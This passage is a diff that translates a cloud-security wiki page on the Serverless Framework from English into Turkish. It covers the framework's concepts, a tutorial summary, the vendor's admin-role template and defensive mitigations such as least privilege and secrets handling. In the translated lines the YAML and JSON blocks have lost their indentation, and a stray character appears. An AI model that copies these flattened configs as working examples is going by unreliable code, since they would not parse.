Sunucusuz uygulamanın temel bileşenidir. Tüm sunucusuz projenizi temsil eder, gerekli tüm işlevleri, yapılandırmaları ve kaynakları kapsar. Genellikle bir `serverless.yml` dosyasında tanımlanır; bir hizmet, hizmet adı, sağlayıcı yapılandırmaları, işlevler, olaylar, kaynaklar, eklentiler ve özel değişkenler gibi meta verileri içerir. ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
-Function +Fonksiyon -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +Bir **Fonksiyon**, bir AWS Lambda fonksiyonu gibi tek bir sunucusuz fonksiyonu temsil eder. Olaylara yanıt olarak yürütülen kodu içerir. +`serverless.yml` dosyasındaki `functions` bölümünde tanımlanır ve işleyici, çalışma zamanı, olaylar, ortam değişkenleri ve diğer ayarları belirtir. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +Olay -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**Olaylar**, sunucusuz işlevlerinizi tetikleyen tetikleyicilerdir. Bir işlevin nasıl ve ne zaman çalıştırılacağını tanımlar. +Yaygın olay türleri arasında HTTP istekleri, planlı olaylar (cron işleri), veritabanı olayları, dosya yüklemeleri ve daha fazlası bulunur. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +Kaynak -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**Kaynaklar**, hizmetinizin bağımlı olduğu ek bulut kaynaklarını tanımlamanıza olanak tanır, örneğin veritabanları, depolama kovaları veya IAM rolleri. +`resources` bölümünde belirtilir, genellikle AWS için CloudFormation sözdizimi kullanılarak. ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +Sağlayıcı -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. - -It includes details like the runtime, region, stage, and credentials. +**Sağlayıcı** nesnesi, bulut hizmet sağlayıcısını (örneğin, AWS, Azure, Google Cloud) belirtir ve o sağlayıcıya ilişkin yapılandırma ayarlarını içerir. +Çalışma zamanı, bölge, aşama ve kimlik bilgileri gibi ayrıntıları içerir. ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +Aşama ve Bölge +Aşama, hizmetinizin dağıtılabileceği farklı ortamları (örneğin, geliştirme, test, üretim) temsil eder. Ortama özgü yapılandırmalar ve dağıtımlar için olanak tanır. ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +Bölge, kaynaklarınızın dağıtılacağı coğrafi bölgeyi belirtir. Gecikme, uyumluluk ve kullanılabilirlik açısından önemlidir. ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
-Plugins - -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. +Eklentiler +**Eklentiler**, Serverless Framework'ün işlevselliğini yeni özellikler ekleyerek veya diğer araçlar ve hizmetlerle entegre olarak genişletir. `plugins` bölümünde tanımlanır ve npm aracılığıyla yüklenir. ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +Katmanlar +**Katmanlar**, paylaşılan kodu veya bağımlılıkları işlevlerinizden ayrı olarak paketlemenize ve yönetmenize olanak tanır. Bu, yeniden kullanılabilirliği teşvik eder ve dağıtım paketlerinin boyutunu azaltır. `layers` bölümünde tanımlanır ve işlevler tarafından referans gösterilir. ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } +``` +
+ +
+ +Değişkenler ve Özel Değişkenler + +**Değişkenler**, yer tutucuların kullanımıyla dinamik yapılandırmayı mümkün kılar; bu yer tutucular dağıtım zamanında çözülür. + +- **Sözdizimi:** `${variable}` sözdizimi, ortam değişkenlerine, dosya içeriklerine veya diğer yapılandırma parametrelerine atıfta bulunabilir. + +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` + +* **Özel Değişkenler:** `custom` bölümü, `serverless.yml` dosyası boyunca yeniden kullanılabilecek kullanıcıya özgü değişkenleri ve yapılandırmaları tanımlamak için kullanılır. + +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-Variables and Custom Variables - -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. - -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +Çıktılar +**Çıktılar**, bir hizmet dağıtıldıktan sonra döndürülen değerleri tanımlar; bu değerler kaynak ARN'leri, uç noktalar veya diğer yararlı bilgiler olabilir. `outputs` bölümünde belirtilir ve genellikle diğer hizmetlere bilgi sağlamak veya dağıtım sonrası kolay erişim için kullanılır. ```yaml ¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
-IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. +IAM Rolleri ve İzinler +**IAM Rolleri ve İzinler**, fonksiyonlarınız ve diğer kaynaklarınız için güvenlik kimlik bilgilerini ve erişim haklarını tanımlar. Gerekli izinleri belirtmek için `provider` veya bireysel fonksiyon ayarları altında yönetilir. ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +Ortam Değişkenleri +**Değişkenler**, yapılandırma ayarlarını ve gizli bilgileri işlevlerinize sabit kodlama yapmadan geçirmenizi sağlar. Bunlar, sağlayıcı veya bireysel işlevler için `environment` bölümünde tanımlanır. ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
-Dependencies - -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. +Bağımlılıklar +**Bağımlılıklar**, fonksiyonlarınızın ihtiyaç duyduğu dış kütüphaneleri ve modülleri yönetir. Genellikle npm veya pip gibi paket yöneticileri aracılığıyla yönetilir ve `serverless-webpack` gibi araçlar veya eklentiler kullanılarak dağıtım paketinizle birleştirilir. ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
Hooks -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. - +**Hooks**, dağıtım yaşam döngüsündeki belirli noktalarda özel betikler veya komutlar çalıştırmanıza olanak tanır. Dağıtımlardan önce veya sonra eylemler gerçekleştirmek için `serverless.yml` içinde veya eklentiler kullanılarak tanımlanırlar. ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +Bu, resmi öğreticinin bir özetidir [**belgelerden**](https://www.serverless.com/framework/docs/tutorial): +1. Bir AWS hesabı oluşturun (Serverless.com AWS altyapısında başlar) +2. serverless.com'da bir hesap oluşturun +3. Bir uygulama oluşturun: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +Bu, [serverless.com](serverless.com-security.md) adresinde kontrol edebileceğiniz `tutorialapp` adında bir **uygulama** ve `helloworld` kodunu içeren bazı JS kodlarıyla birlikte **`handler.js`** dosyasını içeren `Tutorial` adında bir klasör oluşturmuş olmalıdır ve bu fonksiyonu beyan eden **`serverless.yml`** dosyası: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. Bir AWS sağlayıcısı oluşturun, `https://app.serverless.com//settings/providers?providerId=new&provider=aws` adresindeki **dashboard**'a giderek. +1. `serverless.com`'a AWS erişimi vermek için, bu yapılandırma dosyasını kullanarak bir cloudformation yığını çalıştırmanızı isteyecektir (bu yazının yazıldığı sırada): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Bu şablon, **`SFRole-`** adında bir rol oluşturur ve bu rol, `Serverless.com` AWS hesabının bu role erişmesine izin veren bir Güven İlişkisi ile birlikte **`arn:aws:iam::aws:policy/AdministratorAccess`** üzerinde hesap için geçerlidir.
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +Güven İlişkisi ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. Eğitim, temel olarak yeni bir API uç noktası oluşturacak olan `createCustomer.js` dosyasını oluşturmanızı ve oluşturulan lambdaları kullanacak rolü tanımlamak için **yeni bir DynamoDB tablosu** oluşturacak şekilde `serverless.yml` dosyasını değiştirmenizi istiyor. {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,388 +434,379 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. **`serverless deploy`** komutunu çalıştırarak dağıtımı yapın +1. Dağıtım, bir CloudFormation Stack aracılığıyla gerçekleştirilecektir +2. **lambdaların API gateway aracılığıyla** ve doğrudan URL'ler aracılığıyla değil, açık olduğunu unutmayın +7. **Test edin** +1. Önceki adım, API uç noktalarınızın lambda fonksiyonlarının dağıtıldığı **URL'leri** yazdıracaktır -## Security Review of Serverless.com +## Serverless.com Güvenlik İncelemesi -### **Misconfigured IAM Roles and Permissions** +### **Yanlış Yapılandırılmış IAM Rolleri ve İzinleri** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +Aşırı izinli IAM rolleri, bulut kaynaklarına yetkisiz erişim sağlayabilir ve bu da veri ihlallerine veya kaynak manipülasyonuna yol açabilir. -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +Bir Lambda fonksiyonu için izinler belirtilmediğinde, yalnızca günlük oluşturma izinlerine sahip bir rol oluşturulacaktır, örneğin:
-Minimum lambda permissions - +Minimum lambda izinleri ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **En Az Ayrıcalık İlkesi:** Her işlev için yalnızca gerekli izinleri atayın. ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +- **Ayrı Roller Kullanın:** Roller, işlev gereksinimlerine göre farklılaştırılmalıdır. + +--- + +### **Güvensiz Gizli Bilgiler ve Konfigürasyon Yönetimi** + +Hassas bilgilerin (örneğin, API anahtarları, veritabanı kimlik bilgileri) doğrudan **`serverless.yml`** veya kodda saklanması, depoların tehlikeye girmesi durumunda ifşaya yol açabilir. + +**Önerilen** yöntem, **`serverless.yml`** dosyasında ortam değişkenlerini saklamak için serverless.com'dan (bu yazının yazıldığı sırada) `ssm` veya `s3` sağlayıcılarını kullanmaktır; bu, **dağıtım zamanı** itibarıyla bu kaynaklardan **ortam değerlerini almayı** ve **lambdaların** ortam değişkenlerini **değerlerin metin olarak temiz bir şekilde** yapılandırmayı sağlar! + +> [!CAUTION] +> Bu nedenle, AWS içindeki lambdaların konfigürasyonunu okuma iznine sahip olan herkes, **tüm bu ortam değişkenlerine temiz metin olarak erişebilecektir!** + +Örneğin, aşağıdaki örnek bir ortam değişkeni almak için SSM kullanacaktır: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` +And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **lambda ortam değişkeni içinde düz metin olarak eklenecektir**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> serveless.com kullanarak ortam değişkenlerini saklamanın önerilen yolu **AWS gizli anahtarında saklamak** ve sadece gizli anahtar adını ortam değişkeninde saklamak ve **lambda kodunun bunu toplaması gerektiğidir**. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Gizli Anahtar Yöneticisi Entegrasyonu:** **AWS Gizli Anahtar Yöneticisi** gibi hizmetleri kullanın. +- **Şifreli Değişkenler:** Hassas veriler için Serverless Framework’ün şifreleme özelliklerinden yararlanın. +- **Erişim Kontrolleri:** Rollere dayalı olarak gizli anahtarlara erişimi kısıtlayın. --- -### **Vulnerable Code and Dependencies** +### **Zayıf Kod ve Bağımlılıklar** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +Eski veya güvensiz bağımlılıklar zayıflıklara yol açabilirken, yanlış giriş işleme kod enjeksiyonu saldırılarına neden olabilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **Bağımlılık Yönetimi:** Bağımlılıkları düzenli olarak güncelleyin ve zayıflıkları tarayın. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **Giriş Doğrulama:** Tüm girişlerin katı bir şekilde doğrulanmasını ve temizlenmesini uygulayın. +- **Kod İncelemeleri:** Güvenlik açıklarını belirlemek için kapsamlı incelemeler yapın. +- **Statik Analiz:** Kod tabanındaki zayıflıkları tespit etmek için araçlar kullanın. --- -### **Inadequate Logging and Monitoring** +### **Yetersiz Günlükleme ve İzleme** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +Uygun günlükleme ve izleme olmadan, kötü niyetli faaliyetler tespit edilemeyebilir ve olay yanıtını geciktirebilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **Merkezi Günlükleme:** **AWS CloudWatch** veya **Datadog** gibi hizmetleri kullanarak günlükleri toplayın. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **Ayrıntılı Günlüklemeyi Etkinleştirin:** Hassas verileri açığa çıkarmadan temel bilgileri yakalayın. +- **Uyarılar Kurun:** Şüpheli faaliyetler veya anormallikler için uyarılar yapılandırın. +- **Düzenli İzleme:** Potansiyel güvenlik olayları için günlükleri ve metrikleri sürekli izleyin. --- -### **Insecure API Gateway Configurations** +### **Güvensiz API Geçidi Yapılandırmaları** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +Açık veya yanlış güvenlik önlemleri alınmış API'ler, yetkisiz erişim, Hizmet Reddi (DoS) saldırıları veya çapraz site saldırıları için istismar edilebilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **Kimlik Doğrulama ve Yetkilendirme:** OAuth, API anahtarları veya JWT gibi sağlam mekanizmaları uygulayın. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **Hız Sınırlama ve Kısıtlama:** İstismarı önlemek için istek oranlarını sınırlayın. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **Güvenli CORS Yapılandırması:** İzin verilen kökenleri, yöntemleri ve başlıkları kısıtlayın. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Web Uygulama Güvenlik Duvarları (WAF) Kullanın:** Kötü niyetli kalıplar için HTTP isteklerini filtreleyin ve izleyin. --- -### **Insufficient Function Isolation** +### **Yetersiz Fonksiyon İzolasyonu** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +Paylaşılan kaynaklar ve yetersiz izolasyon, ayrıcalık yükselmelerine veya fonksiyonlar arasında istenmeyen etkileşimlere yol açabilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **Fonksiyonları İzole Edin:** 